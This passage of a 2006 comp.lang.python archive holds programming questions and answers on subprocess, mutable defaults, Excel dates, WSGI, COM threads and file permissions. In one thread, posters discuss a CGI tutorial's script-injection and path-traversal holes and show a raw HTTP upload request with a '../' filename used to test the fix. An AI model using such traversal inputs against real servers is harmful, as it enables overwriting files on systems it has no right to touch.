> 
> [cpn at s0 teste]$ set | grep IFS
> IFS=$' \t\n'
> 
> Output from subprocess.Popen():
> 
>>>> import subprocess as sub
>>>> p = sub.Popen('set | grep IFS', shell=True, stdout=sub.PIPE)
>>>> p.stdout.readlines()[1]
> "IFS=' \t\n"
> 
> Both outputs for comparison:stdout=subprocess.PIPE)
> IFS=$' \t\n'
> "IFS=' \t\n"
> 
> The subprocess.Popen() output is missing the $ and the last '

if you expect one line of output, why are you doing readlines()[1] ?

 >>> f = subprocess.Popen("set | grep IFS", shell=True,
 >>> f.stdout.readlines()[1]
Traceback (most recent call last):
Traceback (most recent call last):
   File "<stdin>", line 1, in <module>
IndexError: list index out of range

this works for me:

 >>> f = subprocess.Popen("set | grep IFS", shell=True, 
stdout=subprocess.PIPE)
 >>> f.stdout.readlines()
["IFS=$' \\t\\n'\n"]

what does the above return on your machine?

</F>



From umut.tabak at student.kuleuven.be  Wed Oct 25 09:20:02 2006
From: umut.tabak at student.kuleuven.be (umut.tabak at student.kuleuven.be)
Date: 25 Oct 2006 06:20:02 -0700
Subject: To remove some lines from a file
Message-ID: <1161782402.343992.152080@k70g2000cwa.googlegroups.com>

Dear all,

I am quite new to python. I would like to remove two lines from a file.
The file starts with some comments, the comment sign is $. The file
structure is

$
$
$
$
$
$
$
.
.
.
.
$
line1
line 2
$
$
.
.
.
$
actual commands

I would like to delete those two lines at the very beginning of the
file between two comment blocks. I have read things about python but my
library knowledge is still weak. So could you please help me with this
code.

I would like to call this as

myscript targetfile

I have read sth about command line arguments. Perhaps I can cope with
that myself but help is also appreciated on that.

Best regards,



From wccppp at gmail.com  Sat Oct 14 20:38:44 2006
From: wccppp at gmail.com (wcc)
Date: 14 Oct 2006 17:38:44 -0700
Subject: Need a function. Any built-in function or module for this?
Message-ID: <1160872724.767973.85150@m7g2000cwm.googlegroups.com>

Hello group,

I need to write a function to get input from user. The prompt will be
like this:
Specify direction[Left/Right/Up/Down] or <Left>:

And if user type "L" or <ENTER>, the function will return "Left", if
user type "R", the function will return "Right", etc..

My quick search in python reference did not yield valid result. Any
pointer?

Thanks for your help.

-wcc



From fredrik at pythonware.com  Wed Oct 18 07:30:11 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Wed, 18 Oct 2006 13:30:11 +0200
Subject: matrix Multiplication
References: <1161170249.549988.260870@m73g2000cwd.googlegroups.com>
Message-ID: <eh5383$vnp$1@sea.gmane.org>

"Sssasss" wrote:

> I wan't to multiply two square matrixes, and i don't understand why it
> doesn't work.
>
> def multmat(A,B):
>    "A*B"
>    if len(A)!=len(B): return "error"
>    D=[]
>    C=[]
>    for i in range(len(A)): D.append(0)
>    for i in range(len(A)): C.append(D)

append doesn't copy data, so you're basically adding len(A) references to
the same D list to C.  for more on this, see:

    http://pyfaq.infogami.com/how-do-i-create-a-multidimensional-list

</F> 





From bjobrien62 at gmail.com  Mon Oct 30 15:13:21 2006
From: bjobrien62 at gmail.com (SpreadTooThin)
Date: 30 Oct 2006 12:13:21 -0800
Subject: scared about refrences...
In-Reply-To: <pan.2006.10.30.19.32.25.538858@gmx.net>
References: <1162236136.367603.165180@b28g2000cwb.googlegroups.com>
	<pan.2006.10.30.19.32.25.538858@gmx.net>
Message-ID: <1162239201.179887.77750@m73g2000cwd.googlegroups.com>


Marc 'BlackJack' Rintsch wrote:
> In <1162236136.367603.165180 at b28g2000cwb.googlegroups.com>, SpreadTooThin
> wrote:
>
> > I'm really worried that python may is doing some things I wasn't
> > expecting... but lets see...
>
> Expect that Python never copies something if don't ask explicitly for a
> copy.
>
> > if I pass a list to a function def fn(myList):
> >
> > and in that function I modify an element in the list, then does the
> > callers list get modied as well.
> >
> > def fn(list):
> >    list[1] = 0
> >
> > myList = [1, 2, 3]
> > print myList
> > fn(myList)
> > print myList
> >
> >>>> [1,2,3]
> >>>> [1,0,3]
> >
> > How can I avoid this?  In this case this is a really simplified example
> > but the effects are the same...
>
> In this case:
>
> def fn(lst):
>     lst = list(lst)
>     lst[1] = 0
>
>
> > How do I specify or create deep copies of objects that may contain
> > other objects that may contain other object that may contain other
> > objects....
>
> See the `copy` module especially `copy.deepcopy()`.
>
I'm aware of __deepcopy__ but does that mean that every object in the
object
needs to have its own deep copy?  And how do I ensure that?




> Ciao,
> 	Marc 'BlackJack' Rintsch



From rtw at freenet.co.uk  Mon Oct 16 10:31:33 2006
From: rtw at freenet.co.uk (Rob Williscroft)
Date: Mon, 16 Oct 2006 09:31:33 -0500
Subject: Strange Behavior
References: <1161008763.124120.147010@i3g2000cwc.googlegroups.com>
Message-ID: <Xns985E9DBA6164FrtwfreenetREMOVEcouk@216.196.109.145>

abcd wrote in news:1161008763.124120.147010 at i3g2000cwc.googlegroups.com in 
comp.lang.python:

> class Foo:
>     def __init__(self, name, data=[]):

http://docs.python.org/ref/function.html#l2h-619

Rob.
-- 
http://www.victim-prime.dsl.pipex.com/


From fredrik at pythonware.com  Tue Oct 24 10:56:05 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Tue, 24 Oct 2006 16:56:05 +0200
Subject: The format of filename
In-Reply-To: <slrnejs9l1.184.horpner@FIAD06.norwich.edu>
References: <slrnejs9l1.184.horpner@FIAD06.norwich.edu>
Message-ID: <ehl9i4$juu$1@sea.gmane.org>

Neil Cerutti wrote:

> Where can I find documentation of what Python accepts as the
> filename argument to the builtin function file?
> 
> As an example, I'm aware (through osmosis?) that I can use '/' as
> a directory separator in filenames on both Unix and Dos. But
> where is this documented?

in the documentation for your operating system.  Python doesn't do 
anything with the filenames.

</F>



From sjmachin at lexicon.net  Thu Oct  5 19:54:23 2006
From: sjmachin at lexicon.net (John Machin)
Date: 5 Oct 2006 16:54:23 -0700
Subject: How do I read Excel file in Python?
References: <1160057474.600863.239360@k70g2000cwa.googlegroups.com>
	<1160061718.605057.243590@h48g2000cwc.googlegroups.com>
	<1160067650.709670.71460@e3g2000cwe.googlegroups.com>
	<1160069137.525290.90000@m73g2000cwd.googlegroups.com>
	<8c7f10c60610051203m37c5e1f6l40cb4f52cd2ede29@mail.gmail.com>
	<mailman.1380.1160076037.10491.python-list@python.org>
	<1160077793.218033.108840@m73g2000cwd.googlegroups.com>
Message-ID: <1160092463.755080.127850@c28g2000cwb.googlegroups.com>

houdinihound at yahoo.com wrote:
> > > >>> excel_date = 38938.0
> > > >>> python_date = datetime.date(1900, 1, 1) + datetime.timedelta(days=excel_date)
> > > >>> python_date
> > > datetime.date(2006, 8, 11)
> >
> > Err, that's the wrong answer, isn't it? Perhaps it shoud be
> > datetime.date(1900, 1, 29)?
>
> Actually was about to post same solution and got same results. (BTW
> Simon, the OP date is Aug 9th, 2006).  Scratched head and googled for
> excel date calculations... found this bug where it treats 1900 as leap
> year incorrectly:
> http://www.ozgrid.com/Excel/ExcelDateandTimes.htm
>
> Plus it treats 1 jan 1900 as day 1, not 0 so just subtract 2 in the
> calc:
> >>>python_date = datetime.date(1900, 1, 1) + datetime.timedelta(days=excel_date - 2)
> >>> python_date
> datetime.date(2006, 8, 9)
>

... and 2006-08-09 is only the correct answer if the spreadsheet was,
when last saved, using the 1900 ("Windows") date system, not the 1904
("Macintosh") date system.

All the OP needs to do is to read the documentation that comes with the
xlrd package. It describes the problems with Excel dates, and offers
functions for conversion between the Excel date numbers and (year,
month, day, hour, minute, second) tuples which of course are
interoperable with Python's datetime module and with mx.DateTime.

| >>> import xlrd
| >>> xlrd.xldate_as_tuple(38938.0, 0)
| (2006, 8, 9, 0, 0, 0)
| >>> xlrd.xldate_as_tuple(38938.0, 1)
| (2010, 8, 10, 0, 0, 0)
| >>>

Cheers,
John



From gdamjan at gmail.com  Sun Oct  8 17:47:24 2006
From: gdamjan at gmail.com (Damjan)
Date: Sun, 08 Oct 2006 23:47:24 +0200
Subject: WSGI - How Does It Affect Me?
References: <mailman.70.1160336094.11739.python-list@python.org>
Message-ID: <452971f2$0$49202$14726298@news.sunsite.dk>

> So I keep hearing more and more about this WSGI stuff, and honestly I
> still don't understand what it is exactly and how it differs from CGI
> in the fundamentals (Trying to research this on the web now)
> 
> What I'm most confused about is how it affects me.  I've been writing
> small CGI programs in Python for a while now whenever I have a need
> for a web program.  Is CGI now considered "Bad"?  

Well, mostly "yes" :)

> I've just always 
> found it easier to write something quickly with the CGI library than
> to learn a framework and fool with installing it and making sure my
> web host supports it.
> 
> Should I switch from CGI to WSGI?  What does that even mean?  What is
> the equivalent of a quick CGI script in WSGI, or do I have to use a
> framework even for that?  What do I do if frameworks don't meet my
> needs and I don't have a desire to program my own?

def simple_app(environ, start_response):
    """Simplest possible application object""" 
    status = '200 OK'
    response_headers = [('Content-type','text/plain')]
    start_response(status, response_headers)
    return ['Hello world!\n']

To serve it as a CGI just:
from wsgiref.handlers import CGIHandler
CGIHandler().run(simple_app)

It's not that complicated isn't it... and later you might want to move to
mod_python, scgi or fastcgi or IIS... you will not have to modify
simple_app a bit.

OR... you might want to use the EvalException middleware... just wrap your
simple_app like this:
app = EvalException(simple_app)

(well, due to it's simplicity EvalException can only work in single-process,
long running WSGI servers like not in CGI) so:

s = wsgiref.simple_server.make_server('',8080, app)
s.server_forever()

More info at
http://wsgi.org/wsgi/Learn_WSGI

> 3. Using IIS at all for that matter, does WSGI work on IIS, do any
> frameworks?

There's an IIS server gateway (WSGI server) but you can always run WSGI
applications with CGI, as seen above.



-- 
damjan


From jcoleman at franciscan.edu  Mon Oct 30 11:05:31 2006
From: jcoleman at franciscan.edu (John Coleman)
Date: 30 Oct 2006 08:05:31 -0800
Subject: Observation on "Core Python Programming"
In-Reply-To: <1162223991.134767.33560@m73g2000cwd.googlegroups.com>
References: <1162135496.144591.304640@b28g2000cwb.googlegroups.com>
	<Fxo1h.192$1n3.4526@news.tufts.edu>
	<1162223991.134767.33560@m73g2000cwd.googlegroups.com>
Message-ID: <1162224331.430454.64940@m73g2000cwd.googlegroups.com>


John Coleman wrote:
> John Salerno wrote:
> > John Coleman wrote:
> > > Greetings,
> > >    My copy of the second edition of Chun's "Core Python Programming"
> > > just arrived from Amazon on Friday.
> >
> > Who would you say the book is aimed at? Advanced programmers? I thought
> > about getting it, but I'm not sure if it will be either 1) too much
> > repetition of the basics I've already learned (which isn't necessarily a
> > bad thing), or 2) too advanced for me right now.
> >
> > Thanks.
>
> It strikes me as being aimed at intermediate programmers who don't have
> much familiarity with Python. I bought it since my only other book on
> Python ("Learning Python" by Lutz) is somewhat dated now and because I
> find that I'm a slow learner and it usually takes me a couple of books
> by independent authors to "get" a language. The publisher's page is
> more informative than what you see on Amazon. You can see the table of
> contents and read a sample chapter there to help you decide if the book
> is for you:
> http://vig.prenhall.com/catalog/academic/product/1,4096,0130260363,00.html
>
> HTH
>
> -John Coleman

I just realized that I gave the link to the first edition site. The
second edition site doesn't give a sample chapter (but does give the
complete preface) and still provides a good feel for the book:
http://vig.prenhall.com/catalog/academic/product/0,1144,0132269937,00.html

Sorry for any confusion

-John Coleman



From snail at objmedia.demon.co.uk  Thu Oct 19 07:05:39 2006
From: snail at objmedia.demon.co.uk (Stephen Kellett)
Date: Thu, 19 Oct 2006 12:05:39 +0100
Subject: Python Memory Leak Detector
Message-ID: <elfvORBDw1NFFwXx@objmedia.demon.co.uk>

Announcing Software Tools for Python

We are pleased to inform you that we have completed the port and beta 
test of our Memory Analysis software tool to support Python. The 
software tools run on the Windows NT/2000/XP (and above) platforms.

Python Memory Validator (a memory leak detection tool)
http://www.softwareverify.com/python/memory/index.html

The website provides 30 day evaluation versions of the software as well 
as full product versions of the software. The evaluation versions are 
fully functional with only the 30 day limit on usage.

Stephen
-- 
Stephen Kellett
Object Media Limited    http://www.objmedia.demon.co.uk/software.html
Computer Consultancy, Software Development
Windows C++, Java, Assembler, Performance Analysis, Troubleshooting


From bdesth.quelquechose at free.quelquepart.fr  Tue Oct 31 17:53:13 2006
From: bdesth.quelquechose at free.quelquepart.fr (Bruno Desthuilliers)
Date: Tue, 31 Oct 2006 23:53:13 +0100
Subject: Python 123 introduction
In-Reply-To: <ei4k1t$97e$1@gemini.csx.cam.ac.uk>
References: <ei4k1t$97e$1@gemini.csx.cam.ac.uk>
Message-ID: <4547cf3f$0$32025$426a34cc@news.free.fr>

Jeremy Sanders a ?crit :
> Here is a brief simple introduction to Python I wrote for a computing course
> for graduate astronomers. It assumes some programming experience. Although
> it is not a complete guide, I believe this could be a useful document for
> other groups to learn Python, so I'm making it available for others to
> download, and modify for their own needs (some of the content is site
> specific).

May I emit some observations and suggest a couple of corrections ?

"""
To make it executable type chmod +x test.py, then run it by typing its 
name, test.py on the unix prompt
"""

Unless the current directory is in the path, this won't work:
bruno at bibi ~ $ cat toto.py
#!/usr/bin/python
print 'hello'
bruno at bibi ~ $ chmod +x toto.py
bruno at bibi ~ $ toto.py
-bash: toto.py: command not found
bruno at bibi ~ $ ./toto.py
hello
bruno at bibi ~ $



">>> a+b      # the value is printed at the prompt"
s/value/result/

"Numbers can be integers (int, whole numbers) or floating point (float)"
s/Numbers/Numeric objects/

"Strings are collections of characters"
s/Strings/String objects/

"Lists are collections of any types of variable (even lists)"
List objects are ordered collections of any type of objects (even other 
lists)

"Tuples are like lists but they cannot be changed"
s/Tuples/Tuple objects/

<side-note>
Semantically, a tuple is more a kind of record - a dict indexed by 
position - than an immutable list. That is: lists are homogenous ordered 
collections of arbitrary length. Neither the length of the collection 
nor the position of an object in it  have special meaning. While tuples 
are fixed-length heterogenous ordered   structures where both the number 
of items and their positions are meaningfull. Canonically, a DB table 
can be represented as a list of tuples.
</side-note>

"Files correspond to files on the disk"
File objects correspond to OS files.

 >>> import sys
 >>> type(sys.stdin)
<type 'file'>

"""
Note that immutable objects (like numbers, strings or tuples) do not 
have this property.

 >>> a = 10              # makes a point to object 10
"""

NB : here '10' is not the id of the object, it's its value. So it should 
be: # makes name 'a' point to an int object

"""
 >>> b = a               # makes b point to object 10
 >>> a = 11              # makes a point to object 11
 >>> print b             # prints 10
"""

Hem... This has nothing to do with ints being immutables:

a = [1] # makes 'a' point to a list
b = a   # makes  'b' points to the same object
a = [1] # makes 'a' points to *another* list
print "a is b ? %s" % (a is b)

"""
In Python subroutines, procedures and functions are basically the same thing
"""

NB : The type is 'function'. They *always* return something 
(implicitely, the None object).

"None is a special value meaning ``nothing''"
s/value/object/

"You can test whether something is None by using is None"
There's always only one single None object, so you can test whether 
something is None by using 'is None'.

"""
a = ['foo', 'fred', 42]
for i in a:
     print i
"""

Traditionaly, identifier 'i' is used as the current index in C-like 
loops. Using it in this context might be a bit confusing :

a = ['foo', 'fred', 42]
for obj in a:
     print obj

"""
As an aside, there is a shortcut version of loops called a list 
comprehension which is very convenient:
"""

List comps are a "shortcut" for building lists. They are not a "shortcut 
  version of loops".

"""
filename = 'stupid.dat'
try:
     f = open(filename)
except IOError:              # the file did not open
     print "The filename", filename, "does not exist!"
"""

Actually, the file may exist, but the program may not be able to open it 
for other reasons...

filename = 'stupid.dat'
try:
     f = open(filename)
except IOError, e:              # the file did not open
     print "could not open file %s : %s" % (filename, e)



My 2 cents...


From msherman77 at yahoo.com  Tue Oct 24 22:25:16 2006
From: msherman77 at yahoo.com (Michael S)
Date: Tue, 24 Oct 2006 22:25:16 -0400 (EDT)
Subject: No subject
Message-ID: <20061025022516.94464.qmail@web88305.mail.re4.yahoo.com>

Good day all.

I extended part of my program in C, since that part
was too involved for Python. Now when I import the
module I created and call its functions, I am trying
to feedback some information bac to my wxPython
program. The function runs for a while and I wanted to
update a progress bar, but when I call the function of
my new module, wxPython doesn't respond when wx.Timer
is supposed to fire.

Any suggestions?

Michael


From surendra.lingareddy at gmail.com  Mon Oct 23 11:49:58 2006
From: surendra.lingareddy at gmail.com (Suren)
Date: 23 Oct 2006 08:49:58 -0700
Subject: HTML Templates (Sitemesh/Tiles concept) in Python
Message-ID: <1161618598.598300.127970@m73g2000cwd.googlegroups.com>

Hello,

I am a newbie to python and web development. I am part of a fairly
simple project and we are trying to identify an efficient way to design
our html pages. The technologies at our disposal are javascript, html
and python for now.

Our pages bear a very standard look. Here is what it looks like.

--------------------------------------------------
   BANNER
--------------------------------------------------
| -l1   | <-  ->                     Logout
| -l2   |---------------------------------------
| -l3   |
| -l4   |  CONTENT
| -l5   |---------------------------------------
|       |  COPYRIGHT
-------------------------------------------------

l1 through l5 are links that basically target the content page and fill
in. Each page via that link has a python reference to go gather
appropriate data for the content page. We are using frames to do the
banner.html, menu.html (the links page) and the content page.

For the content page, how can we decorate it on top with the back/front
buttons and logout buttons and botton with a copyright in every page.
It seems error prone as well as bad design to scatter this logic in
each content page. Is there a template logic like Sitemesh or Tiles
concept that can decorate a desired page just before show time?

Any other tips to help life easier are appreciated.



From gagsl-py at yahoo.com.ar  Tue Oct 17 15:17:40 2006
From: gagsl-py at yahoo.com.ar (Gabriel Genellina)
Date: Tue, 17 Oct 2006 16:17:40 -0300
Subject: where to I find:
In-Reply-To: <1161103857.244052.79060@i3g2000cwc.googlegroups.com>
References: <1161103857.244052.79060@i3g2000cwc.googlegroups.com>
Message-ID: <7.0.1.0.0.20061017161535.03cbfbd0@yahoo.com.ar>

At Tuesday 17/10/2006 13:50, vedran_dekovic at yahoo.com wrote:

>Can somebody tell me where to I find module name: "tele"

It's not a standard module. Look on the documentation for the 
application/packages you are using.


-- 
Gabriel Genellina
Softlab SRL 


	
	
		
__________________________________________________
Pregunt?. Respond?. Descubr?.
Todo lo que quer?as saber, y lo que ni imaginabas,
est? en Yahoo! Respuestas (Beta).
?Probalo ya! 
http://www.yahoo.com.ar/respuestas



From johnjsal at NOSPAMgmail.com  Mon Oct 30 15:18:53 2006
From: johnjsal at NOSPAMgmail.com (John Salerno)
Date: Mon, 30 Oct 2006 20:18:53 GMT
Subject: wxPython TextCtrl - weird scrolling behavior
In-Reply-To: <1162238656.661097.75180@f16g2000cwb.googlegroups.com>
References: <1162237089.308746.70370@e3g2000cwe.googlegroups.com>
	<PJs1h.204$1n3.4348@news.tufts.edu>
	<1162238656.661097.75180@f16g2000cwb.googlegroups.com>
Message-ID: <N6t1h.205$1n3.4487@news.tufts.edu>

abcd wrote:

>         sizerMainPanel.Add(self.textPanel, 3, wx.ALL|wx.EXPAND, 0)

Your best bet may be to post to wxPython-users at lists.wxwidgets.org

But one question that comes to mind is, do you not add sizerTextPanel to 
sizerMainPanel? I think all sub-sizers should be added to the main 
sizer, unless there's some weird reason I don't know of.

If you post to the wxPython mailing list, you might want to include more 
of your code so we can see the bigger picture.


From clodoaldo.pinto at gmail.com  Fri Oct  6 16:56:42 2006
From: clodoaldo.pinto at gmail.com (Clodoaldo Pinto Neto)
Date: 6 Oct 2006 13:56:42 -0700
Subject: CGI Tutorial
References: <1159990122.487089.133950@i42g2000cwa.googlegroups.com>
	<1160071257.200774.90900@e3g2000cwe.googlegroups.com>
Message-ID: <1160168202.423933.306380@i42g2000cwa.googlegroups.com>

and-google at doxdesk.com wrote:
> Clodoaldo Pinto Neto wrote:
>
> > print '<p>The submited name was "' + name + '"</p>'
>
> Bzzt! Script injection security hole. See cgi.escape and use it (or a
> similar function) for *all* text -> HTML output.
>
> > open('files/' + fileitem.filename, 'w')
>
> BZZZZZZT. filesystem overwriting security hole, possibly escalatable to
> code execution. clue: fileitem.filename= '../../something.py'

Do you think os.path.basename() is good enough?
========================
#!/usr/bin/env python
import cgi, os.path

form = cgi.FieldStorage()
fileitem = form['file']
fn = fileitem.filename
fnb = os.path.basename(fn)

print """\
Content-Type: text/plain\n
filename = "%s"
basename = "%s"
""" % (fn, fnb)
========================

[cpn at dkt ~]$ nc teste.s0 80
POST /cgi-bin/dir_traversal.py HTTP/1.1
Host: teste.s0
Content-Type: multipart/form-data;
boundary=---------------------------170451527316340742161395972977
Content-Length: 226

-----------------------------170451527316340742161395972977
Content-Disposition: form-data; name="file"; filename="../test.txt"
Content-Type: text/plain

file text

-----------------------------170451527316340742161395972977--
HTTP/1.1 200 OK
Date: Fri, 06 Oct 2006 20:48:58 GMT
Server: Apache/2.2.2 (Fedora)
Content-Length: 48
Content-Type: text/plain; charset=UTF-8

filename = "../test.txt"
basename = "test.txt"


Regards, Clodoaldo



From michael at stroeder.com  Mon Oct  9 05:23:22 2006
From: michael at stroeder.com (=?ISO-8859-1?Q?Michael_Str=F6der?=)
Date: Mon, 09 Oct 2006 11:23:22 +0200
Subject: Python to use a non open source bug tracker?
In-Reply-To: <mailman.83.1160343369.11739.python-list@python.org>
References: <22pUg.132825$zy5.1820633@twister1.libero.it>	<YzoVg.137036$zy5.1843214@twister1.libero.it>	<mailman.1477.1160171746.10491.python-list@python.org>	<1160172267.566568.79030@m7g2000cwm.googlegroups.com>	<452966A2.1090107@v.loewis.de>
	<egbq0f$iah$1@sea.gmane.org>
	<mailman.83.1160343369.11739.python-list@python.org>
Message-ID: <a1hpv3-qj7.ln1@nb2.stroeder.com>

skip at pobox.com wrote:
>     Fredrik> you need tools to help you track the bugs and their status, but
>     Fredrik> you can handle issue registration, discussion, and most
>     Fredrik> maintenance stuff using good old mail just fine.
> 
> Which is something SourceForge has yet to learn.  At work we use a system
> called RT (http://www.bestpractical.com/rt/).  While it's not perfect, it
> does allow submissions and responses via email.  That feature alone puts it
> miles ahead of SF in my mind.

I'd also prefer to at least be able to respond to tracker items via
e-mail. I'm traveling a lot by train working off-line most times. An
e-mail spool is unbeatable in this situation. So it's ok for me to add
an issue to a tracker while being online. But the follow-ups should be
possible via e-mail. SF pretty much sucks in this regard (and has other
issues too).

The main reason why I'm following this discussion is that I'd also
prefer to move away from SF for python-ldap. One reason is availability
and the other one is the really bad user interface.

I could imagine to spend some spare time when this infrastructure can
also be used for python-ldap. And pydns would be another candidate to be
moved away from SF.

Ciao, Michael.


From zhangry at feng.co.jp  Fri Oct 20 05:06:47 2006
From: zhangry at feng.co.jp (HYRY)
Date: 20 Oct 2006 02:06:47 -0700
Subject: Why the result
Message-ID: <1161335207.108215.104160@b28g2000cwb.googlegroups.com>

Why the third print stement output "'comments': [(1, 2, 3)]", I think
it should be [].
I am using
Python 2.4.2 (#67, Sep 28 2005, 12:41:11) [MSC v.1310 32 bit (Intel)]
on win32.

# program
class PicInfo:
    def __init__(self, intro="", tags="", comments=[]):
        self.picintro = intro
        self.pictags = tags
        self.comments = comments

    def addcomment(self, comment):
        self.comments.insert(0, comment)

dbdata = PicInfo()
print dbdata.__dict__
dbdata.addcomment((1,2,3))
print dbdata.__dict__
dbdata = PicInfo()
print dbdata.__dict__

# output
{'pictags': '', 'comments': [], 'picintro': ''}
{'pictags': '', 'comments': [(1, 2, 3)], 'picintro': ''}
{'pictags': '', 'comments': [(1, 2, 3)], 'picintro': ''} <- why
comments is not []?



From tejovathi.p at gmail.com  Mon Oct 16 04:40:19 2006
From: tejovathi.p at gmail.com (Teja)
Date: 16 Oct 2006 01:40:19 -0700
Subject: Attribute error
In-Reply-To: <mailman.503.1160829600.11739.python-list@python.org>
References: <1160803974.234768.286150@k70g2000cwa.googlegroups.com>
	<mailman.503.1160829600.11739.python-list@python.org>
Message-ID: <1160988019.500269.237900@i42g2000cwa.googlegroups.com>


Max Erickson wrote:
> "Teja" <tejovathi.p at gmail.com> wrote:
>
> > Hi all,
> >
> > What is attribute error? what causes that error, especially with COM
> > objects?
> >
> > To be precise :
> >
> > Attribute Error: LCAS.LabcarController.writeLogWindow()
> >
> > Here, LCAS.... is a COM object
> >
> > Thanks
> > Teja.P
> >
>
> LabcarController might be a function. See:
>
> http://groups.google.com/group/comp.lang.python/msg/d7341f1aedcae6d3
>
> for more detail.
>
> hope this helps,
> max


HI all,

I have a problem in accesing COM objects in threads. To be precise,
lets assume that I have a class GenericFunctions which is defined as
follows:

import win32com.client, pythoncom, thread
ie=win32com.client.Dispatch('internetexplorer.application')
ie.Visible=1

class GenericFunctions:

       def __init__(self):
             print "In Constructor of Generic Functions"

       def MyNavigate(self,dest):
             ie.Navigate(dest)


Now there  is another file Main.py which is defined as follows:

import win32com.client, pythoncom, thread
from GenericFunctions import *
obj = GenericFunctions()

class Mainclass:
       def __init__(self);
            print "In Constructor of Main class"

       def threadFunction(self,dest):
            pythoncom.CoInitialize()
            d=pythoncom.CoGetInterfaceAndReleaseStream(s,
pythoncom.IID_IDispatch)
            my_ie=win32com.client.Dispatch(d)
            obj.func(dest)          # this is gving an error.
            pythoncom.CoUninitialize()

if __name__ == "__main__":

s=pythoncom.CoMarshalInterThreadInterfaceInStream(pythoncom.IID_IDispatch,ie)
         thread.start_new_thread(self.nav, (s,'www.google.com')

Basically, I want to access object of GenericFunctions class inside
threadFunction(). However I was able to execute
my_ie.Navigate("google.com"). But that was not I wanted. I am not
knowing where the error is....
Please let me know the solution ASAP...

Teja.P



From bignose+hates-spam at benfinney.id.au  Sun Oct  1 22:24:38 2006
From: bignose+hates-spam at benfinney.id.au (Ben Finney)
Date: Mon, 02 Oct 2006 12:24:38 +1000
Subject: changing a file's permissions
References: <d59e90ab0610011826r508d0a5ag703efbe472eac249@mail.gmail.com>
Message-ID: <871wprjvyx.fsf@benfinney.id.au>

James <oscartheduck at gmail.com> writes:

> I'm writing a script in linux to excercise my python skills and have
> encountered a minor issue.  Writing the script and creating an ouput
> file was simple enough and didn't take too long. However, I don't
> have permissions to execute the file by default.

This is an attribute of the file (an object in the filesystem) which
is checked by the kernel before allowing the file to be
executed. Python has nothing to do with this; if the attributes allow
execution, you can execute it as a program; if not, you can't.

> Now, I could simply chmod 755 the sucker and have done with it

That (or some equivalent filesystem operation to change the attributes
of the file) is the only solution to the problem you present. This is
by design.

> but I want to apply the permissions within the python script if I can.

Since the permissions are used by the operating system kernel to
determine if you have permission execute the file at all, the program
isn't even executing when the decision is made. Change the permission
attributes of the program file (using 'chmod' or something else that
operates on the filesystem object's attributes), then you'll be able
to run it as a program.

Incidentally, if the program is intended to be run from a command
line, it's best to name the file with no '.py' extension. The fact
that a command is implemented in Python is irrelevant to the person
running that command; it also means you can implement it in some other
language later on without changing everything that uses that command.

-- 
 \       "Facts are meaningless. You could use facts to prove anything |
  `\             that's even remotely true!"  -- Homer, _The Simpsons_ |
_o__)                                                                  |
Ben Finney



From mccredie at gmail.com  Thu Oct  5 13:25:37 2006
From: mccredie at gmail.com (Matimus)
Date: 5 Oct 2006 10:25:37 -0700
Subject: How do I read Excel file in Python?
In-Reply-To: <1160067650.709670.71460@e3g2000cwe.googlegroups.com>
References: <1160057474.600863.239360@k70g2000cwa.googlegroups.com>
	<1160061718.605057.243590@h48g2000cwc.googlegroups.com>
	<1160067650.709670.71460@e3g2000cwe.googlegroups.com>
Message-ID: <1160069137.525290.90000@m73g2000cwd.googlegroups.com>

> the date( 8/9/2006 ) in Excel file, i am getting the value as 38938.0,
> which I get when I convert date values to general format in Excel. I
> want the actual date value. How do get that?

38938 appears to be the date in days since 1/1/1900. I'm sure someone
can help you figure out how to convert that to a more useful value.

-Matt



From yairchu at gmail.com  Wed Oct 25 18:22:13 2006
From: yairchu at gmail.com (yairchu at gmail.com)
Date: 25 Oct 2006 15:22:13 -0700
Subject: 255 argument limit?
References: <mailman.1179.1161785574.11739.python-list@python.org>
Message-ID: <1161814933.538771.251000@b28g2000cwb.googlegroups.com>

>
>    It appears that there is a 255 argument limit in Python 2.4.3?
>

maybe the argument limit is for the sake of not making functions too
complicated.
if your function takes more than 200 arguments it can probably go to
thedailywtf.com,
better be strict like i am and even avoid making a 100 arguments
function.

:)



From theller at python.net  Thu Oct  5 14:07:13 2006
From: theller at python.net (Thomas Heller)
Date: Thu, 05 Oct 2006 20:07:13 +0200
Subject: Getting a ValueError with comtypes
In-Reply-To: <1160066479.412632.171310@c28g2000cwb.googlegroups.com>
References: <1160058359.839402.3600@k70g2000cwa.googlegroups.com>	<mailman.1359.1160062734.10491.python-list@python.org>
	<1160066479.412632.171310@c28g2000cwb.googlegroups.com>
Message-ID: <eg3hkh$55n$1@sea.gmane.org>

winkatl1213 at yahoo.com schrieb:
> Thomas,
> 
> Thanks a ton for the quick response.
> 
> I called GetModule('quartz.dll'), and now I can at least call
> IMediaControl::Run.  I get another error, but that's my problem (I
> don't have the graph set correctly yet).
> 
> You mentioned that you sometimes create a type library for creating the
> interface wrappers.
> 
> Would you mind sharing with me how you do this?

Nothing fancy: I compile them with midl.

> I seem to recall a thread on ctypes-users where you were looking for a
> method to do this.  I can't seem to locate what you conclusion was.
> 
> By the way, I've been using ctypes and comtypes quite a bit lately, and
> I just wanted to say that they are both excellent.

Thanks!

> Now if only I had an equivalent way to access C++ dlls, I'd no longer
> have to write typemaps in SWIG.
> 
> While I'm at it, I thought I would ask you a separate completely
> unrelated question.
> 
> I have a C++ library wrapped with SWIG.  One member function takes a
> void* to a buffer.
> 
> I want to allocate this buffer using ctypes and pass it to my SWIG
> wrapper, but I've been struggling to get it to work.
> 
> I tried passing in the addressof, and then casting it back in my SWIG
> wrapper, but this doesn't work.  Do you have any suggestions on this?

Which object does the SWIG wrapper expect?  Would a bufferobject suffice?
If this is the case, you could call buffer() on a ctypes object, maybe one
created with 'ctypes.create_string_buffer(size_in_bytes)'.  Every ctypes
type instance supports the buffer protocol.

> I've also thought about using a numpy array, since this is supported in
> both SWIG and ctypes.

That might also work.

Thomas



From richard.charts at gmail.com  Fri Oct 20 15:15:50 2006
From: richard.charts at gmail.com (richard.charts at gmail.com)
Date: 20 Oct 2006 12:15:50 -0700
Subject: Using Python scripts in Windows Explorer
In-Reply-To: <1161357605.861266.144980@m73g2000cwd.googlegroups.com>
References: <1161357605.861266.144980@m73g2000cwd.googlegroups.com>
Message-ID: <1161371750.146986.67620@m73g2000cwd.googlegroups.com>


Ben Sizer wrote:
> I'd like to be able to drag a file onto a Python script in Windows
> Explorer, or send that file to the script via the Send To context-menu
> option, so I can then process that file via sys.argc.
>
